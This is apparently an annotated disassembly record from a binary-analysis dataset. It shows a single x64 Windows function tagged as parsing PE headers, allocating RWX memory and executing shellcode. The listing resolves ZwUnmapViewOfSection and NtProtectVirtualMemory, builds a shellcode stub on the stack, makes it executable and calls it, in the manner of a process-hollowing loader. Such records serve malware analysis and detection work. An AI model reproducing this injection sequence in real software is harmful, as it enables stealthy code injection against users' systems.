Function at 0x1800026a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x18000d040]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rbx, qword [rcx]
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x1800026d4
xor edi, edi
jmp 0x1800026e9
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
je 0x1800026e5
xor edi, edi
jmp 0x1800026e9
mov edi, dword [rax + rbx + 0x50]
lea rcx, str.Ntdll.dll
mov qword [rsp + 0x190], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.ZwUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x1800029a6
lea rcx, str.Ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.ZwAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x1800029a6
mov rcx, rdi
mov qword [rsp + 0x188], rsi
call fcn.180009078
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x244c894c
mov rsi, rax
mov dword [rsp + 0x54], 0x44894c20
xor eax, eax
mov dword [rsp + 0x58], 0x89481824
mov rcx, rsi
mov word [rbp + 0x4d], ax
mov r8, rdi
mov byte [rbp + 0x4f], al
mov rdx, rbx
mov dword [rsp + 0x5c], 0x48102454
mov dword [rsp + 0x60], 0x8244c89
mov dword [rsp + 0x64], 0x83485756
mov dword [rsp + 0x68], 0x8b4838ec
mov dword [rsp + 0x6c], 0x48582454
mov dword [rsp + 0x70], 0x50244c8b
mov dword [rsp + 0x74], 0x702454ff
mov dword [rsp + 0x78], 0x74c08548
mov dword [rsp + 0x7c], 0xebc03204
mov dword [rbp - 0x80], 0x44c74875
mov dword [rbp - 0x7c], 0x402824
mov dword [rbp - 0x78], 0xc7480000
mov dword [rbp - 0x74], 0x202444
mov dword [rbp - 0x70], 0x4c000020
mov dword [rbp - 0x6c], 0x60244c8d
mov dword [rbp - 0x68], 0x48c03345
mov dword [rbp - 0x64], 0x5824548d
mov dword [rbp - 0x60], 0x244c8b48
mov dword [rbp - 0x5c], 0x2454ff50
mov dword [rbp - 0x58], 0xc0854878
mov dword [rbp - 0x54], 0xc0320474
mov dword [rbp - 0x50], 0xc74844eb
mov dword [rbp - 0x4c], 0x40282444
mov dword [rbp - 0x48], 0x48000000
mov dword [rbp - 0x44], 0x202444c7
mov dword [rbp - 0x40], 0x1000
mov dword [rbp - 0x3c], 0x244c8d4c
mov dword [rbp - 0x38], 0xc0334560
mov dword [rbp - 0x34], 0x24548d48
mov dword [rbp - 0x30], 0x4c8b4858
mov dword [rbp - 0x2c], 0x54ff5024
mov dword [rbp - 0x28], 0x85487824
mov dword [rbp - 0x24], 0x320474c0
mov dword [rbp - 0x20], 0x4813ebc0
mov dword [rbp - 0x1c], 0x58247c8b
mov dword [rbp - 0x18], 0x24748b48
mov dword [rbp - 0x14], 0x4c8b4868
mov dword [rbp - 0x10], 0xa4f36024
mov dword [rbp - 0xc], 0x834801b0
mov dword [rbp - 8], 0x5e5f38c4
mov byte [rbp - 4], 0xc3
movups xmmword [rbp - 3], xmm0
movups xmmword [rbp + 0xd], xmm0
movups xmmword [rbp + 0x1d], xmm0
movups xmmword [rbp + 0x2d], xmm0
movups xmmword [rbp + 0x3d], xmm0
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], 0
lea rcx, str.Ntdll.dll
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0x100
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [r9 - 0x41]
call rax
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], r15
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call rax
mov rbx, qword [rsp + 0x38]
lea rcx, str.Ntdll.dll
mov edi, eax
mov qword [rsp + 0x40], 0x100
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x38]
mov r9, rbx
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov rcx, rsi
call fcn.180009070
mov rsi, qword [rsp + 0x188]
mov eax, edi
jmp 0x1800029a8
xor eax, eax
mov r14, qword [rsp + 0x190]
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.180009050
mov rbx, qword [rsp + 0x198]
add rsp, 0x160
pop r15
pop rdi
pop rbp
ret